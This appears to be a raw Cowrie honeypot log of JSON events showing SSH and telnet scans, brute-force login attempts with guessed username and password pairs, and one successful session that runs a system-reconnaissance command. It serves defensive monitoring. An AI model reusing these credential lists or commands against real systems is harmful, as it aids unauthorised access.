{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:51.385856Z","src_ip":"159.203.92.129","session":"4e679f9da521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"v1isagoodgirl!","message":"login attempt [admin/v1isagoodgirl!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:51.395803Z","src_ip":"159.203.92.129","session":"4e679f9da521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:52.400980Z","src_ip":"159.203.92.129","session":"4e679f9da521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00185561180115,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:54.951918Z","src_ip":"74.87.1.54","session":"b4cbb4126b40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00122499465942,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:54.976952Z","src_ip":"74.87.1.54","session":"a35eec6f669c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00172328948975,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:08.747988Z","src_ip":"74.87.1.54","session":"54b09bc548fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00121188163757,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:28.012789Z","src_ip":"74.87.1.54","session":"2d56e683e861","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00167727470398,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:31.461292Z","src_ip":"74.87.1.54","session":"8710ab8e4795","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34302,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcc0e1b1ecfd","protocol":"ssh","message":"New connection: 159.203.92.129:34302 (159.203.135.109:22) [session: bcc0e1b1ecfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:36.024086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:36.029297Z","src_ip":"159.203.92.129","session":"bcc0e1b1ecfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:36.035380Z","src_ip":"159.203.92.129","session":"bcc0e1b1ecfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"v2isagoodboy!","message":"login attempt [admin/v2isagoodboy!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:36.047450Z","src_ip":"159.203.92.129","session":"bcc0e1b1ecfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":39680,"dst_ip":"10.17.0.5","dst_port":22,"session":"7822e63f615d","protocol":"ssh","message":"New connection: 213.209.159.159:39680 (10.17.0.5:22) [session: 7822e63f615d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:36.767529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:36.774107Z","src_ip":"213.209.159.159","session":"7822e63f615d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:36.856196Z","src_ip":"213.209.159.159","session":"7822e63f615d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:37.054690Z","src_ip":"159.203.92.129","session":"bcc0e1b1ecfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"autum","password":"autum","message":"login attempt [autum/autum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:37.256600Z","src_ip":"213.209.159.159","session":"7822e63f615d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"autum","password":"autum1","message":"login attempt [autum/autum1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:38.342244Z","src_ip":"213.209.159.159","session":"7822e63f615d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"autum","password":"autum123","message":"login attempt [autum/autum123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:39.428065Z","src_ip":"213.209.159.159","session":"7822e63f615d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"autum","password":"autum1234","message":"login attempt [autum/autum1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:40.512470Z","src_ip":"213.209.159.159","session":"7822e63f615d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"autum","password":"autum12345","message":"login attempt [autum/autum12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:41.597600Z","src_ip":"213.209.159.159","session":"7822e63f615d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.115.178.226","src_port":33338,"dst_ip":"10.17.0.5","dst_port":23,"session":"a04ddebf46bb","protocol":"telnet","message":"New connection: 181.115.178.226:33338 (10.17.0.5:23) [session: a04ddebf46bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:42.601505Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:42.686001Z","src_ip":"213.209.159.159","session":"7822e63f615d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.301195621490479,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:28:56.902607Z","src_ip":"181.115.178.226","session":"a04ddebf46bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33276,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5619df7a444","protocol":"ssh","message":"New connection: 159.203.92.129:33276 (159.203.135.109:22) [session: b5619df7a444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:29:20.567305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:29:20.571880Z","src_ip":"159.203.92.129","session":"b5619df7a444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:29:20.576554Z","src_ip":"159.203.92.129","session":"b5619df7a444","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"vinzoradmin301","message":"login attempt [admin/vinzoradmin301] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:29:20.587454Z","src_ip":"159.203.92.129","session":"b5619df7a444","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:29:20.641143Z","src_ip":"159.203.92.129","session":"b5619df7a444","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:29:20.644233Z","src_ip":"159.203.92.129","session":"b5619df7a444","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:29:20.647727Z","src_ip":"159.203.92.129","session":"b5619df7a444","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:29:20.654860Z","src_ip":"159.203.92.129","session":"b5619df7a444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:29:20.659163Z","src_ip":"159.203.92.129","session":"b5619df7a444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":13506,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ed122a8673c","protocol":"ssh","message":"New connection: 194.59.206.2:13506 (159.203.135.109:22) [session: 2ed122a8673c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:29:32.634187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:29:32.638334Z","src_ip":"194.59.206.2","session":"2ed122a8673c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:29:32.723533Z","src_ip":"194.59.206.2","session":"2ed122a8673c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:29:32.814341Z","src_ip":"194.59.206.2","session":"2ed122a8673c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39982,"dst_ip":"159.203.135.109","dst_port":22,"session":"74d6a56d8cef","protocol":"ssh","message":"New connection: 159.203.92.129:39982 (159.203.135.109:22) [session: 74d6a56d8cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:30:07.203300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:30:07.233776Z","src_ip":"159.203.92.129","session":"74d6a56d8cef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:30:07.238200Z","src_ip":"159.203.92.129","session":"74d6a56d8cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"visint456root","message":"login attempt [admin/visint456root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:30:07.494734Z","src_ip":"159.203.92.129","session":"74d6a56d8cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:30:08.590441Z","src_ip":"159.203.92.129","session":"74d6a56d8cef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36784,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe9d49016fb3","protocol":"ssh","message":"New connection: 159.203.92.129:36784 (159.203.135.109:22) [session: fe9d49016fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:30:51.986292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:30:51.990779Z","src_ip":"159.203.92.129","session":"fe9d49016fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-